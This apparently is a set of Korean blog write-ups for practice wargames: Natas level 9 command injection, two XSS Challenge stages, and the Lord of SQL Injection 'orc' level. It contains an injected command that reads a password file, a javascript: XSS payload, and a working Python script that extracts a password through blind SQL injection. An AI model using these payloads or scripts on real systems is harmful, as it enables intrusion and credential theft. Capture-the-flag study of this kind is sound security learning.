natas9의 페이지이다.

 

View sourcecode를 눌러 페이지 소스코드를 확인해보았다.

passthru
: php에서 외부 프로그램을 실행하고 실행되는 동안 화면을 실시간으로 출력하는 함수
grep [OPTION...] PATTERN [FILE...]
: 입력으로 전달된 파일의 내용에서 특정 문자열을 찾고자할 때 사용하는 명령어

passthru("grep -i $key dictionary.txt);는 dictionary.txt에 $key 문자열이 존재하는지 확인하는 명령어이다.

 

이 grep 명령어를 끝내기 위해 ;을 써주고 뒤에 다른 명령어를 작성해주면 이 명령어가 실행된다.

예를 들면 ; pwd를 써주면 아래와 같이 명령어가 실행된다.

 

이전 단계에서 natas8의 비밀번호가 /etc/natas_webpass/natas8에 있었으므로, natas10의 비밀번호는  /etc/natas_webpass/natas10에 있을 것이다.

 

따라서 ; cat /etc/natas_webpass/natas10을 입력해주었다. 그리고 아래와 같이 화면에 비밀번호가 나타났다.

'Web Hacking > Natas' 카테고리의 다른 글

[Natas] Level 10 > Level 11  (0) 2022.05.27
[Natas] Level 9 > Level 10  (0) 2022.05.21
[Natas] Level 7 > Level 8  (0) 2022.05.14
[Natas] Level 6 > Level 7  (0) 2022.05.14
[Natas] Level 5 > Level 6  (0) 2022.05.07

input에 script태그를 넣어보았더니 아래와 같이 URL이 생성된다.

힌트에서 javascript를 이용하라 했기 때문에 javascript:alert(document.domain)을 입력해주었다.

 

그리고 생성된 URL을 눌러주었더니 공격에 성공할 수 있었다.

 

https://xss-quiz.int21h.jp/stage_09.php?sid=688fd7e68a1662e1b2bbf04c40f0f8743e1be91e

'Web Hacking > XSS Challenge' 카테고리의 다른 글

[XSS Challenge] Stage 10  (0) 2022.05.21
[XSS Challenge] Stage 09  (0) 2022.05.21
[XSS Challenge] Stage 07  (0) 2022.05.15
[XSS Challenge] Stage 06  (0) 2022.05.07
[XSS Challenge] Stage 05  (0) 2022.05.07

 

script태그를 넣어보았지만 공격에 실패하였다.

그 상태에서 소스코드를 확인해보았다.

내가 입력한 코드가 value 안으로 들어간 것을 확인할 수 있다.

이전 스테이지와 같은 입력을 해주었다.

 

 

그랬더니 공격에 성공할 수 있었다.

'Web Hacking > XSS Challenge' 카테고리의 다른 글

[XSS Challenge] Stage 09  (0) 2022.05.21
[XSS Challenge] Stage 08  (0) 2022.05.15
[XSS Challenge] Stage 06  (0) 2022.05.07
[XSS Challenge] Stage 05  (0) 2022.05.07
[XSS Challenge] Stage 04  (0) 2022.04.30

 

id는 admin이고 result['pw']값을 찾으면 공격에 성공할 수 있다.

 

1. pw 길이 구하기

?pw='or id='admin' and length(pw)=num%23

 

num에 1부터 쭉 대입해보니 8을 넣었을 때 아래와 같이 Hello admin이라고 떴다.

따라서 길이는 8이다.

 

이 페이지 개발자 도구를 이용해 cookie를 구할 수 있었다.

 

2. pw 구하기

import requests as req
cookies = {'PHPSESSID':'bs7b7ns36rgq35equ867cv1c7a'}
flag = ""
for i in range(1, 9):
    for j in range(48, 128):
        char = chr(j)
        url = f"https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw='or id='admin' and substr(pw,{i},1)='{char}' -- "
        res = req.get(url=url, cookies=cookies)
        if 'Hello admin' in res.text:
            flag += char

print("============================")
print(f"flag = {flag}")
print("============================")

입력 가능한 모든 문자를 for문을 통해 자동화 검사를 해주었다.

 

코드를 실행한 결과는 다음과 같다.

따라서 flag는 095A9852이거나, 095a9852이다.

 

?pw=095a9852 일 때 다음과 같이 공격에 성공할 수 있었다.

 

 

참고 자료 : laoching.tistory.com/101

 

 

'Web Hacking > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] darkelf  (0) 2022.05.28
[Lord of SQL Injection] wolfman  (0) 2022.05.21
[Lord of SQL Injection] goblin  (0) 2022.05.07
[Lord of SQL Injection] cobolt  (0) 2022.04.29
[Lord of SQL Injection] gremlin  (0) 2022.04.02

+ Recent posts